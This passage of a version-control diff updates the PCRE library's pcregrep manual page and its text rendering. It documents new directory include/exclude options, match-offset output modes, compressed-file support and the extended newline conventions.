 \fBpcregrep\fP uses the value to set a locale when calling the PCRE library.
 The \fB--locale\fP option can be used to override this.
 .
+.SH "SUPPORT FOR COMPRESSED FILES"
+.rs
+.sp
+It is possible to compile \fBpcregrep\fP so that it uses \fBlibz\fP or
+\fBlibbz2\fP to read files whose names end in \fB.gz\fP or \fB.bz2\fP,
+respectively. You can find out whether your binary has support for one or both
+of these file types by running it with the \fB--help\fP option. If the
+appropriate support is not present, files are treated as plain text. The
+standard input is always so treated.
+.
 .SH OPTIONS
 .rs
 .TP 10
@@ -93,16 +126,20 @@
 equals sign.
 .TP
 \fB--colour=\fP\fIvalue\fP, \fB--color=\fP\fIvalue\fP
-This option specifies under what circumstances the part of a line that matched
-a pattern should be coloured in the output. The value may be "never" (the
-default), "always", or "auto". In the latter case, colouring happens only if
-the standard output is connected to a terminal. The colour can be specified by
-setting the environment variable PCREGREP_COLOUR or PCREGREP_COLOR. The value
-of this variable should be a string of two numbers, separated by a semicolon.
-They are copied directly into the control string for setting colour on a
-terminal, so it is your responsibility to ensure that they make sense. If
-neither of the environment variables is set, the default is "1;31", which gives
-red.
+This option specifies under what circumstances the parts of a line that matched
+a pattern should be coloured in the output. By default, the output is not
+coloured. The value (which is optional, see above) may be "never", "always", or
+"auto". In the latter case, colouring happens only if the standard output is
+connected to a terminal. More resources are used when colouring is enabled,
+because \fBpcregrep\fP has to search for all possible matches in a line, not
+just one, in order to colour them all.
+
+The colour that is used can be specified by setting the environment variable
+PCREGREP_COLOUR or PCREGREP_COLOR. The value of this variable should be a
+string of two numbers, separated by a semicolon. They are copied directly into
+the control string for setting colour on a terminal, so it is your
+responsibility to ensure that they make sense. If neither of the environment
+variables is set, the default is "1;31", which gives red.
 .TP
 \fB-D\fP \fIaction\fP, \fB--devices=\fP\fIaction\fP
 If an input path is not a regular file or a directory, "action" specifies how
@@ -116,30 +153,42 @@
 are read as if they were ordinary files. In some operating systems the effect
 of reading a directory like this is an immediate end-of-file.
 .TP
-\fB-e\fP \fIpattern\fP, \fB--regex=\fP\fIpattern\fP,
-\fB--regexp=\fP\fIpattern\fP Specify a pattern to be matched. This option can
-be used multiple times in order to specify several patterns. It can also be
-used as a way of specifying a single pattern that starts with a hyphen. When
-\fB-e\fP is used, no argument pattern is taken from the command line; all
-arguments are treated as file names. There is an overall maximum of 100
-patterns. They are applied to each line in the order in which they are defined
-until one matches (or fails to match if \fB-v\fP is used). If \fB-f\fP is used
-with \fB-e\fP, the command line patterns are matched first, followed by the
-patterns from the file, independent of the order in which these options are
-specified. Note that multiple use of \fB-e\fP is not the same as a single
-pattern with alternatives. For example, X|Y finds the first character in a line
-that is X or Y, whereas if the two patterns are given separately,
-\fBpcregrep\fP finds X if it is present, even if it follows Y in the line. It
-finds Y only if there is no X in the line. This really matters only if you are
-using \fB-o\fP to show the portion of the line that matched.
+\fB-e\fP \fIpattern\fP, \fB--regex=\fP\fIpattern\fP, \fB--regexp=\fP\fIpattern\fP
+Specify a pattern to be matched. This option can be used multiple times in
+order to specify several patterns. It can also be used as a way of specifying a
+single pattern that starts with a hyphen. When \fB-e\fP is used, no argument
+pattern is taken from the command line; all arguments are treated as file
+names. There is an overall maximum of 100 patterns. They are applied to each
+line in the order in which they are defined until one matches (or fails to
+match if \fB-v\fP is used). If \fB-f\fP is used with \fB-e\fP, the command line
+patterns are matched first, followed by the patterns from the file, independent
+of the order in which these options are specified. Note that multiple use of
+\fB-e\fP is not the same as a single pattern with alternatives. For example,
+X|Y finds the first character in a line that is X or Y, whereas if the two
+patterns are given separately, \fBpcregrep\fP finds X if it is present, even if
+it follows Y in the line. It finds Y only if there is no X in the line. This
+really matters only if you are using \fB-o\fP to show the part(s) of the line
+that matched.
 .TP
 \fB--exclude\fP=\fIpattern\fP
 When \fBpcregrep\fP is searching the files in a directory as a consequence of
-the \fB-r\fP (recursive search) option, any files whose names match the pattern
-are excluded. The pattern is a PCRE regular expression. If a file name matches
-both \fB--include\fP and \fB--exclude\fP, it is excluded. There is no short
-form for this option.
+the \fB-r\fP (recursive search) option, any regular files whose names match the
+pattern are excluded. Subdirectories are not excluded by this option; they are
+searched recursively, subject to the \fB--exclude_dir\fP and
+\fB--include_dir\fP options. The pattern is a PCRE regular expression, and is
+matched against the final component of the file name (not the entire path). If
+a file name matches both \fB--include\fP and \fB--exclude\fP, it is excluded.
+There is no short form for this option.
 .TP
+\fB--exclude_dir\fP=\fIpattern\fP
+When \fBpcregrep\fP is searching the contents of a directory as a consequence
+of the \fB-r\fP (recursive search) option, any subdirectories whose names match
+the pattern are excluded. (Note that the \fP--exclude\fP option does not affect
+subdirectories.) The pattern is a PCRE regular expression, and is matched
+against the final component of the name (not the entire path). If a
+subdirectory name matches both \fB--include_dir\fP and \fB--exclude_dir\fP, it
+is excluded. There is no short form for this option.
+.TP
 \fB-F\fP, \fB--fixed-strings\fP
 Interpret each pattern as a list of fixed strings, separated by newlines,
 instead of as a regular expression. The \fB-w\fP (match as a word) and \fB-x\fP
@@ -156,35 +205,56 @@
 is taken from the command line; all arguments are treated as file names. There
 is an overall maximum of 100 patterns. Trailing white space is removed from
 each line, and blank lines are ignored. An empty file contains no patterns and
-therefore matches nothing.
+therefore matches nothing. See also the comments about multiple patterns versus
+a single pattern with alternatives in the description of \fB-e\fP above.
 .TP
+\fB--file-offsets\fP
+Instead of showing lines or parts of lines that match, show each match as an
+offset from the start of the file and a length, separated by a comma. In this
+mode, no context is shown. That is, the \fB-A\fP, \fB-B\fP, and \fB-C\fP
+options are ignored. If there is more than one match in a line, each of them is
+shown separately. This option is mutually exclusive with \fB--line-offsets\fP
+and \fB--only-matching\fP.
+.TP
 \fB-H\fP, \fB--with-filename\fP
 Force the inclusion of the filename at the start of output lines when searching
 a single file. By default, the filename is not shown in this case. For matching
-lines, the filename is followed by a colon and a space; for context lines, a
-hyphen separator is used. If a line number is also being output, it follows the
-file name without a space.
+lines, the filename is followed by a colon; for context lines, a hyphen
+separator is used. If a line number is also being output, it follows the file
+name.
 .TP
 \fB-h\fP, \fB--no-filename\fP
 Suppress the output filenames when searching multiple files. By default,
 filenames are shown when multiple files are searched. For matching lines, the
-filename is followed by a colon and a space; for context lines, a hyphen
-separator is used. If a line number is also being output, it follows the file
-name without a space.
+filename is followed by a colon; for context lines, a hyphen separator is used.
+If a line number is also being output, it follows the file name.
 .TP
 \fB--help\fP
-Output a brief help message and exit.
+Output a help message, giving brief details of the command options and file
+type support, and then exit.
 .TP
 \fB-i\fP, \fB--ignore-case\fP
 Ignore upper/lower case distinctions during comparisons.
 .TP
 \fB--include\fP=\fIpattern\fP
 When \fBpcregrep\fP is searching the files in a directory as a consequence of
-the \fB-r\fP (recursive search) option, only those files whose names match the
-pattern are included. The pattern is a PCRE regular expression. If a file name
-matches both \fB--include\fP and \fB--exclude\fP, it is excluded. There is no
-short form for this option.
+the \fB-r\fP (recursive search) option, only those regular files whose names
+match the pattern are included. Subdirectories are always included and searched
+recursively, subject to the \fP--include_dir\fP and \fB--exclude_dir\fP
+options. The pattern is a PCRE regular expression, and is matched against the
+final component of the file name (not the entire path). If a file name matches
+both \fB--include\fP and \fB--exclude\fP, it is excluded. There is no short
+form for this option.
 .TP
+\fB--include_dir\fP=\fIpattern\fP
+When \fBpcregrep\fP is searching the contents of a directory as a consequence
+of the \fB-r\fP (recursive search) option, only those subdirectories whose
+names match the pattern are included. (Note that the \fB--include\fP option
+does not affect subdirectories.) The pattern is a PCRE regular expression, and
+is matched against the final component of the name (not the entire path). If a
+subdirectory name matches both \fB--include_dir\fP and \fB--exclude_dir\fP, it
+is excluded. There is no short form for this option.
+.TP
 \fB-L\fP, \fB--files-without-match\fP
 Instead of outputting lines from the files, just output the names of the files
 that do not contain any lines that would have been output. Each file name is
@@ -201,6 +271,15 @@
 are being output. If not supplied, "(standard input)" is used. There is no
 short form for this option.
 .TP
+\fB--line-offsets\fP
+Instead of showing lines or parts of lines that match, show each match as a
+line number, the offset from the start of the line, and a length. The line
+number is terminated by a colon (as usual; see the \fB-n\fP option), and the
+offset and length are separated by a comma. In this mode, no context is shown.
+That is, the \fB-A\fP, \fB-B\fP, and \fB-C\fP options are ignored. If there is
+more than one match in a line, each of them is shown separately. This option is
+mutually exclusive with \fB--file-offsets\fP and \fB--only-matching\fP.
+.TP
 \fB--locale\fP=\fIlocale-name\fP
 This option specifies a locale to be used for pattern matching. It overrides
 the value in the \fBLC_ALL\fP or \fBLC_CTYPE\fP environment variables. If no
@@ -220,26 +299,38 @@
 are guaranteed to be available for lookbehind assertions.
 .TP
 \fB-N\fP \fInewline-type\fP, \fB--newline=\fP\fInewline-type\fP
-The PCRE library supports three different character sequences for indicating
+The PCRE library supports five different conventions for indicating
 the ends of lines. They are the single-character sequences CR (carriage return)
-and LF (linefeed), and the two-character sequence CR, LF. When the library is
-built, a default line-ending sequence is specified. This is normally the
-standard sequence for the operating system. Unless otherwise specified by this
-option, \fBpcregrep\fP uses the default. The possible values for this option
-are CR, LF, or CRLF. This makes it possible to use \fBpcregrep\fP on files that
-have come from other environments without having to modify their line endings.
-If the data that is being scanned does not agree with the convention set by
-this option, \fBpcregrep\fP may behave in strange ways.
+and LF (linefeed), the two-character sequence CRLF, an "anycrlf" convention,
+which recognizes any of the preceding three types, and an "any" convention, in
+which any Unicode line ending sequence is assumed to end a line. The Unicode
+sequences are the three just mentioned, plus VT (vertical tab, U+000B), FF
+(formfeed, U+000C), NEL (next line, U+0085), LS (line separator, U+2028), and
+PS (paragraph separator, U+2029).
+.sp
+When the PCRE library is built, a default line-ending sequence is specified.
+This is normally the standard sequence for the operating system. Unless
+otherwise specified by this option, \fBpcregrep\fP uses the library's default.
+The possible values for this option are CR, LF, CRLF, ANYCRLF, or ANY. This
+makes it possible to use \fBpcregrep\fP on files that have come from other
+environments without having to modify their line endings. If the data that is
+being scanned does not agree with the convention set by this option,
+\fBpcregrep\fP may behave in strange ways.
 .TP
 \fB-n\fP, \fB--line-number\fP
 Precede each output line by its line number in the file, followed by a colon
-and a space for matching lines or a hyphen and a space for context lines. If
-the filename is also being output, it precedes the line number.
+for matching lines or a hyphen for context lines. If the filename is also being
+output, it precedes the line number. This option is forced if
+\fB--line-offsets\fP is used.
 .TP
 \fB-o\fP, \fB--only-matching\fP
 Show only the part of the line that matched a pattern. In this mode, no
 context is shown. That is, the \fB-A\fP, \fB-B\fP, and \fB-C\fP options are
-ignored.
+ignored. If there is more than one match in a line, each of them is shown
+separately. If \fB-o\fP is combined with \fB-v\fP (invert the sense of the
+match to find non-matching lines), no output is generated, but the return code
+is set appropriately. This option is mutually exclusive with
+\fB--file-offsets\fP and \fB--line-offsets\fP.
 .TP
 \fB-q\fP, \fB--quiet\fP
 Work quietly, that is, display nothing except error messages. The exit
@@ -274,7 +365,7 @@
 Force the patterns to match only whole words. This is equivalent to having \eb
 at the start and end of the pattern.
 .TP
-\fB-x\fP, \fB--line-regex\fP, \fP--line-regexp\fP
+\fB-x\fP, \fB--line-regex\fP, \fB--line-regexp\fP
 Force the patterns to be anchored (each must start matching at the beginning of
 a line) and in addition, require them to match entire lines. This is
 equivalent to having ^ and $ characters at the start and end of each
@@ -339,7 +430,7 @@
 it has no data.
 .
 .
-.SH MATCHING ERRORS
+.SH "MATCHING ERRORS"
 .rs
 .sp
 It is possible to supply a regular expression that takes a very long time to
@@ -361,16 +452,26 @@
 code.
 .
 .
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcrepattern\fP(3), \fBpcretest\fP(1).
+.
+.
 .SH AUTHOR
 .rs
 .sp
+.nf
 Philip Hazel
-.br
 University Computing Service
-.br
-Cambridge CB2 3QG, England.
-.P
-.in 0
-Last updated: 06 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 01 March 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcregrep.txt (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcregrep.txt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcregrep.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,8 +14,8 @@
        pcregrep  searches  files  for  character  patterns, in the same way as
        other grep commands do, but it uses the PCRE regular expression library
        to support patterns that are compatible with the regular expressions of
-       Perl 5. See pcrepattern for a full description of syntax and  semantics
-       of the regular expressions that PCRE supports.
+       Perl 5. See pcrepattern(3) for a full description of syntax and  seman-
+       tics of the regular expressions that PCRE supports.
 
        Patterns,  whether  supplied on the command line or in a separate file,
        are given without delimiters. For example:
@@ -24,37 +24,72 @@
 
        If you attempt to use delimiters (for example, by surrounding a pattern
        with  slashes,  as  is common in Perl scripts), they are interpreted as
-       part of the pattern. Quotes can of course be used on the  command  line
-       because they are interpreted by the shell, and indeed they are required
-       if a pattern contains white space or shell metacharacters.
+       part of the pattern. Quotes can of course be used to  delimit  patterns
+       on  the  command  line  because  they are interpreted by the shell, and
+       indeed they are required if a pattern contains  white  space  or  shell
+       metacharacters.
 
-       The first argument that follows any option settings is treated  as  the
-       single  pattern  to be matched when neither -e nor -f is present.  Con-
-       versely, when one or both of these options are  used  to  specify  pat-
+       The  first  argument that follows any option settings is treated as the
+       single pattern to be matched when neither -e nor -f is  present.   Con-
+       versely,  when  one  or  both of these options are used to specify pat-
        terns, all arguments are treated as path names. At least one of -e, -f,
        or an argument pattern must be provided.
 
        If no files are specified, pcregrep reads the standard input. The stan-
-       dard  input  can  also  be  referenced by a name consisting of a single
+       dard input can also be referenced by a  name  consisting  of  a  single
        hyphen.  For example:
 
          pcregrep some-pattern /file1 - /file3
 
-       By default, each line that matches the pattern is copied to  the  stan-
-       dard  output, and if there is more than one file, the file name is out-
-       put at the start of each line. However,  there  are  options  that  can
-       change how pcregrep behaves. In particular, the -M option makes it pos-
-       sible to search for patterns that span line boundaries. What defines  a
-       line boundary is controlled by the -N (--newline) option.
+       By  default, each line that matches a pattern is copied to the standard
+       output, and if there is more than one file, the file name is output  at
+       the start of each line, followed by a colon. However, there are options
+       that can change how pcregrep behaves.  In  particular,  the  -M  option
+       makes  it  possible  to  search for patterns that span line boundaries.
+       What defines a line  boundary  is  controlled  by  the  -N  (--newline)
+       option.
 
        Patterns  are  limited  to  8K  or  BUFSIZ characters, whichever is the
-       greater.  BUFSIZ is defined in <stdio.h>.
+       greater.  BUFSIZ is defined in <stdio.h>. When there is more  than  one
+       pattern (specified by the use of -e and/or -f), each pattern is applied
+       to each line in the order in which they are defined,  except  that  all
+       the -e patterns are tried before the -f patterns.
 
-       If the LC_ALL or LC_CTYPE environment variable is  set,  pcregrep  uses
-       the  value to set a locale when calling the PCRE library.  The --locale
+       By  default,  as soon as one pattern matches (or fails to match when -v
+       is used), no further patterns are considered. However, if --colour  (or
+       --color) is used to colour the matching substrings, or if --only-match-
+       ing, --file-offsets, or --line-offsets is used to output only the  part
+       of  the  line  that  matched (either shown literally, or as an offset),
+       scanning resumes immediately  following  the  match,  so  that  further
+       matches  on the same line can be found. If there are multiple patterns,
+       they are all tried on the remainder of the line, but patterns that fol-
+       low the one that matched are not tried on the earlier part of the line.
+
+       This is the same behaviour as GNU grep, but it does mean that the order
+       in which multiple patterns are specified can affect the output when one
+       of the above options is used.
+
+       Patterns  that can match an empty string are accepted, but empty string
+       matches are not recognized. An example is the pattern "(super)?(man)?",
+       in  which  all  components  are optional. This pattern finds all occur-
+       rences of both "super" and "man"; the output differs from matching with
+       "super|man" when only the matching substrings are being shown.
+
+       If  the  LC_ALL  or LC_CTYPE environment variable is set, pcregrep uses
+       the value to set a locale when calling the PCRE library.  The  --locale
        option can be used to override this.
 
 
+SUPPORT FOR COMPRESSED FILES
+
+       It  is  possible  to compile pcregrep so that it uses libz or libbz2 to
+       read files whose names end in .gz or .bz2, respectively. You  can  find
+       out whether your binary has support for one or both of these file types
+       by running it with the --help option. If the appropriate support is not
+       present,  files are treated as plain text. The standard input is always
+       so treated.
+
+
 OPTIONS
 
        --        This terminate the list of options. It is useful if the  next
@@ -99,111 +134,157 @@
                  the same shell item, separated by an equals sign.
 
        --colour=value, --color=value
-                 This option specifies under what circumstances the part of  a
+                 This option specifies under what circumstances the parts of a
                  line that matched a pattern should be coloured in the output.
-                 The value may be "never" (the default), "always", or  "auto".
-                 In  the  latter  case, colouring happens only if the standard
-                 output is connected to a terminal. The colour can  be  speci-
-                 fied  by  setting the environment variable PCREGREP_COLOUR or
-                 PCREGREP_COLOR. The value of this variable should be a string
-                 of  two  numbers,  separated by a semicolon.  They are copied
-                 directly into the control string for setting colour on a ter-
-                 minal,  so it is your responsibility to ensure that they make
-                 sense. If neither of the environment variables  is  set,  the
-                 default is "1;31", which gives red.
+                 By default, the output is not coloured. The value  (which  is
+                 optional,  see above) may be "never", "always", or "auto". In
+                 the latter case, colouring happens only if the standard  out-
+                 put  is connected to a terminal. More resources are used when
+                 colouring is enabled, because pcregrep has to search for  all
+                 possible  matches in a line, not just one, in order to colour
+                 them all.
 
+                 The colour that is used can be specified by setting the envi-
+                 ronment variable PCREGREP_COLOUR or PCREGREP_COLOR. The value
+                 of this variable should be a string of two numbers, separated
+                 by  a  semicolon.  They  are copied directly into the control
+                 string for setting colour  on  a  terminal,  so  it  is  your
+                 responsibility  to ensure that they make sense. If neither of
+                 the environment variables is  set,  the  default  is  "1;31",
+                 which gives red.
+
        -D action, --devices=action
                  If  an  input  path  is  not  a  regular file or a directory,
                  "action" specifies how it is to be  processed.  Valid  values
-                 are  "read" (the default) or "skip" (silently skip the path).
+                 are "read" (the default) or "skip" (silently skip the path).
 
        -d action, --directories=action
                  If an input path is a directory, "action" specifies how it is
-                 to  be  processed.   Valid  values  are "read" (the default),
-                 "recurse" (equivalent to the -r option), or "skip"  (silently
-                 skip  the path). In the default case, directories are read as
-                 if they were ordinary files. In some  operating  systems  the
-                 effect  of reading a directory like this is an immediate end-
+                 to be processed.  Valid  values  are  "read"  (the  default),
+                 "recurse"  (equivalent to the -r option), or "skip" (silently
+                 skip the path). In the default case, directories are read  as
+                 if  they  were  ordinary files. In some operating systems the
+                 effect of reading a directory like this is an immediate  end-
                  of-file.
 
-       -e pattern, --regex=pattern,
-                 --regexp=pattern Specify a pattern to be matched. This option
-                 can  be  used multiple times in order to specify several pat-
-                 terns. It can also be used as a way of  specifying  a  single
-                 pattern  that starts with a hyphen. When -e is used, no argu-
-                 ment pattern is taken from the command  line;  all  arguments
-                 are treated as file names. There is an overall maximum of 100
-                 patterns. They are applied to each line in the order in which
-                 they  are  defined until one matches (or fails to match if -v
-                 is used). If -f is used with -e, the  command  line  patterns
-                 are  matched  first,  followed by the patterns from the file,
-                 independent of the order in which these  options  are  speci-
-                 fied.  Note that multiple use of -e is not the same as a sin-
-                 gle pattern with alternatives. For  example,  X|Y  finds  the
-                 first  character in a line that is X or Y, whereas if the two
-                 patterns are given separately, pcregrep  finds  X  if  it  is
-                 present, even if it follows Y in the line. It finds Y only if
-                 there is no X in the line. This really matters  only  if  you
-                 are using -o to show the portion of the line that matched.
+       -e pattern, --regex=pattern, --regexp=pattern
+                 Specify a pattern to be matched. This option can be used mul-
+                 tiple times in order to specify several patterns. It can also
+                 be  used  as a way of specifying a single pattern that starts
+                 with a hyphen. When -e is used, no argument pattern is  taken
+                 from  the  command  line;  all  arguments are treated as file
+                 names. There is an overall maximum of 100 patterns. They  are
+                 applied  to  each line in the order in which they are defined
+                 until one matches (or fails to match if -v is used). If -f is
+                 used  with  -e,  the command line patterns are matched first,
+                 followed by the patterns from the file,  independent  of  the
+                 order  in which these options are specified. Note that multi-
+                 ple use of -e is not the same as a single pattern with alter-
+                 natives. For example, X|Y finds the first character in a line
+                 that is X or Y, whereas if the two patterns are  given  sepa-
+                 rately, pcregrep finds X if it is present, even if it follows
+                 Y in the line. It finds Y only if there is no X in the  line.
+                 This  really  matters  only  if  you are using -o to show the
+                 part(s) of the line that matched.
 
        --exclude=pattern
                  When pcregrep is searching the files in a directory as a con-
-                 sequence of the -r (recursive search) option, any files whose
-                 names  match  the pattern are excluded. The pattern is a PCRE
-                 regular expression. If a file name matches both --include and
-                 --exclude,  it  is  excluded. There is no short form for this
+                 sequence  of  the  -r  (recursive search) option, any regular
+                 files whose names match the pattern are excluded. Subdirecto-
+                 ries  are  not  excluded  by  this  option; they are searched
+                 recursively, subject to the --exclude_dir  and  --include_dir
+                 options.  The  pattern  is  a PCRE regular expression, and is
+                 matched against the final component of the file name (not the
+                 entire  path).  If  a  file  name  matches both --include and
+                 --exclude, it is excluded.  There is no short form  for  this
                  option.
 
+       --exclude_dir=pattern
+                 When  pcregrep  is searching the contents of a directory as a
+                 consequence of the -r (recursive search) option,  any  subdi-
+                 rectories  whose  names match the pattern are excluded. (Note
+                 that the --exclude option does  not  affect  subdirectories.)
+                 The  pattern  is  a  PCRE  regular expression, and is matched
+                 against the final component  of  the  name  (not  the  entire
+                 path).  If a subdirectory name matches both --include_dir and
+                 --exclude_dir, it is excluded. There is  no  short  form  for
+                 this option.
+
        -F, --fixed-strings
-                 Interpret each pattern as a list of fixed strings,  separated
-                 by  newlines,  instead  of  as  a  regular expression. The -w
-                 (match as a word) and -x (match whole line)  options  can  be
+                 Interpret  each pattern as a list of fixed strings, separated
+                 by newlines, instead of  as  a  regular  expression.  The  -w
+                 (match  as  a  word) and -x (match whole line) options can be
                  used with -F. They apply to each of the fixed strings. A line
                  is selected if any of the fixed strings are found in it (sub-
                  ject to -w or -x, if present).
 
        -f filename, --file=filename
-                 Read  a  number  of patterns from the file, one per line, and
-                 match them against each line of input. A data line is  output
+                 Read a number of patterns from the file, one  per  line,  and
+                 match  them against each line of input. A data line is output
                  if any of the patterns match it. The filename can be given as
                  "-" to refer to the standard input. When -f is used, patterns
-                 specified  on  the command line using -e may also be present;
+                 specified on the command line using -e may also  be  present;
                  they are tested before the file's patterns. However, no other
-                 pattern  is  taken  from  the command line; all arguments are
-                 treated as file names. There is an  overall  maximum  of  100
+                 pattern is taken from the command  line;  all  arguments  are
+                 treated  as  file  names.  There is an overall maximum of 100
                  patterns. Trailing white space is removed from each line, and
-                 blank lines are ignored. An empty file contains  no  patterns
-                 and therefore matches nothing.
+                 blank  lines  are ignored. An empty file contains no patterns
+                 and therefore matches nothing. See also  the  comments  about
+                 multiple  patterns  versus a single pattern with alternatives
+                 in the description of -e above.
 
+       --file-offsets
+                 Instead of showing lines or parts of lines that  match,  show
+                 each  match  as  an  offset  from the start of the file and a
+                 length, separated by a comma. In this  mode,  no  context  is
+                 shown.  That  is,  the -A, -B, and -C options are ignored. If
+                 there is more than one match in a line, each of them is shown
+                 separately.  This  option  is mutually exclusive with --line-
+                 offsets and --only-matching.
+
        -H, --with-filename
-                 Force  the  inclusion  of the filename at the start of output
-                 lines when searching a single file. By default, the  filename
-                 is  not  shown in this case. For matching lines, the filename
-                 is followed by a colon and a  space;  for  context  lines,  a
-                 hyphen separator is used. If a line number is also being out-
-                 put, it follows the file name without a space.
+                 Force the inclusion of the filename at the  start  of  output
+                 lines  when searching a single file. By default, the filename
+                 is not shown in this case. For matching lines,  the  filename
+                 is followed by a colon; for context lines, a hyphen separator
+                 is used. If a line number is also being  output,  it  follows
+                 the file name.
 
        -h, --no-filename
-                 Suppress the output filenames when searching multiple  files.
-                 By  default,  filenames  are  shown  when  multiple files are
-                 searched. For matching lines, the filename is followed  by  a
-                 colon  and  a space; for context lines, a hyphen separator is
-                 used. If a line number is also being output, it  follows  the
-                 file name without a space.
+                 Suppress  the output filenames when searching multiple files.
+                 By default, filenames  are  shown  when  multiple  files  are
+                 searched.  For  matching lines, the filename is followed by a
+                 colon; for context lines, a hyphen separator is used.   If  a
+                 line number is also being output, it follows the file name.
 
-       --help    Output a brief help message and exit.
+       --help    Output  a  help  message, giving brief details of the command
+                 options and file type support, and then exit.
 
        -i, --ignore-case
                  Ignore upper/lower case distinctions during comparisons.
 
        --include=pattern
                  When pcregrep is searching the files in a directory as a con-
-                 sequence of the -r  (recursive  search)  option,  only  those
-                 files whose names match the pattern are included. The pattern
-                 is a PCRE regular expression. If a  file  name  matches  both
-                 --include  and  --exclude,  it is excluded. There is no short
-                 form for this option.
+                 sequence of the -r (recursive search) option, only those reg-
+                 ular files whose names match the pattern are included. Subdi-
+                 rectories  are always included and searched recursively, sub-
+                 ject to the --include_dir and --exclude_dir options. The pat-
+                 tern is a PCRE regular expression, and is matched against the
+                 final component of the file name (not the entire path). If  a
+                 file  name  matches  both  --include  and  --exclude,  it  is
+                 excluded. There is no short form for this option.
 
+       --include_dir=pattern
+                 When pcregrep is searching the contents of a directory  as  a
+                 consequence  of  the -r (recursive search) option, only those
+                 subdirectories whose names match the  pattern  are  included.
+                 (Note  that  the --include option does not affect subdirecto-
+                 ries.) The pattern is  a  PCRE  regular  expression,  and  is
+                 matched  against  the  final  component  of the name (not the
+                 entire  path).  If   a   subdirectory   name   matches   both
+                 --include_dir  and --exclude_dir, it is excluded. There is no
+                 short form for this option.
+
        -L, --files-without-match
                  Instead of outputting lines from the files, just  output  the
                  names  of  the files that do not contain any lines that would
@@ -222,6 +303,17 @@
                  when file names are being output. If not supplied, "(standard
                  input)" is used. There is no short form for this option.
 
+       --line-offsets
+                 Instead  of  showing lines or parts of lines that match, show
+                 each match as a line number, the offset from the start of the
+                 line,  and a length. The line number is terminated by a colon
+                 (as usual; see the -n option), and the offset and length  are
+                 separated  by  a  comma.  In  this mode, no context is shown.
+                 That is, the -A, -B, and -C options are ignored. If there  is
+                 more  than  one  match in a line, each of them is shown sepa-
+                 rately. This option is mutually exclusive with --file-offsets
+                 and --only-matching.
+
        --locale=locale-name
                  This  option specifies a locale to be used for pattern match-
                  ing. It overrides the value in the LC_ALL or  LC_CTYPE  envi-
@@ -245,60 +337,73 @@
                  lookbehind assertions.
 
        -N newline-type, --newline=newline-type
-                 The PCRE library supports three different character sequences
-                 for indicating the ends of lines. They are the single-charac-
-                 ter sequences CR (carriage return) and LF (linefeed), and the
-                 two-character sequence CR, LF. When the library is  built,  a
-                 default  line-ending  sequence is specified. This is normally
-                 the standard sequence for the operating system. Unless other-
-                 wise specified by this option, pcregrep uses the default. The
-                 possible values for this option are CR,  LF,  or  CRLF.  This
-                 makes  it  possible  to  use pcregrep on files that have come
-                 from other environments without having to modify  their  line
-                 endings.   If  the  data that is being scanned does not agree
-                 with the convention set by this option, pcregrep  may  behave
-                 in strange ways.
+                 The  PCRE  library  supports  five  different conventions for
+                 indicating the ends of lines. They are  the  single-character
+                 sequences  CR  (carriage  return) and LF (linefeed), the two-
+                 character sequence CRLF, an "anycrlf" convention, which  rec-
+                 ognizes  any  of the preceding three types, and an "any" con-
+                 vention, in which any Unicode line ending sequence is assumed
+                 to  end a line. The Unicode sequences are the three just men-
+                 tioned,  plus  VT  (vertical  tab,  U+000B),  FF   (formfeed,
+                 U+000C),   NEL  (next  line,  U+0085),  LS  (line  separator,
+                 U+2028), and PS (paragraph separator, U+2029).
 
+                 When  the  PCRE  library  is  built,  a  default  line-ending
+                 sequence   is  specified.   This  is  normally  the  standard
+                 sequence for the operating system. Unless otherwise specified
+                 by  this  option,  pcregrep  uses the library's default.  The
+                 possible values for this option are CR, LF, CRLF, ANYCRLF, or
+                 ANY.  This  makes  it  possible to use pcregrep on files that
+                 have come from other environments without  having  to  modify
+                 their  line  endings.  If the data that is being scanned does
+                 not agree with the convention set by  this  option,  pcregrep
+                 may behave in strange ways.
+
        -n, --line-number
                  Precede each output line by its line number in the file, fol-
-                 lowed by a colon and a space for matching lines or  a  hyphen
-                 and  a space for context lines. If the filename is also being
-                 output, it precedes the line number.
+                 lowed by a colon for matching lines or a hyphen  for  context
+                 lines.  If the filename is also being output, it precedes the
+                 line number. This option is forced if --line-offsets is used.
 
        -o, --only-matching
                  Show only the part of the line that  matched  a  pattern.  In
                  this  mode,  no context is shown. That is, the -A, -B, and -C
-                 options are ignored.
+                 options are ignored. If there is more than  one  match  in  a
+                 line,  each  of  them  is shown separately. If -o is combined
+                 with -v (invert the sense of the match to  find  non-matching
+                 lines),  no  output  is generated, but the return code is set
+                 appropriately. This option is mutually exclusive with --file-
+                 offsets and --line-offsets.
 
        -q, --quiet
                  Work quietly, that is, display nothing except error messages.
-                 The  exit  status  indicates  whether or not any matches were
+                 The exit status indicates whether or  not  any  matches  were
                  found.
 
        -r, --recursive
-                 If any given path is a directory, recursively scan the  files
-                 it  contains, taking note of any --include and --exclude set-
-                 tings. By default, a directory is read as a normal  file;  in
-                 some  operating  systems this gives an immediate end-of-file.
-                 This option is a shorthand  for  setting  the  -d  option  to
+                 If  any given path is a directory, recursively scan the files
+                 it contains, taking note of any --include and --exclude  set-
+                 tings.  By  default, a directory is read as a normal file; in
+                 some operating systems this gives an  immediate  end-of-file.
+                 This  option  is  a  shorthand  for  setting the -d option to
                  "recurse".
 
        -s, --no-messages
-                 Suppress  error  messages  about  non-existent  or unreadable
-                 files. Such files are quietly skipped.  However,  the  return
+                 Suppress error  messages  about  non-existent  or  unreadable
+                 files.  Such  files  are quietly skipped. However, the return
                  code is still 2, even if matches were found in other files.
 
        -u, --utf-8
-                 Operate  in UTF-8 mode. This option is available only if PCRE
-                 has been compiled with UTF-8 support. Both patterns and  sub-
+                 Operate in UTF-8 mode. This option is available only if  PCRE
+                 has  been compiled with UTF-8 support. Both patterns and sub-
                  ject lines must be valid strings of UTF-8 characters.
 
        -V, --version
-                 Write  the  version  numbers of pcregrep and the PCRE library
+                 Write the version numbers of pcregrep and  the  PCRE  library
                  that is being used to the standard error stream.
 
        -v, --invert-match
-                 Invert the sense of the match, so that  lines  which  do  not
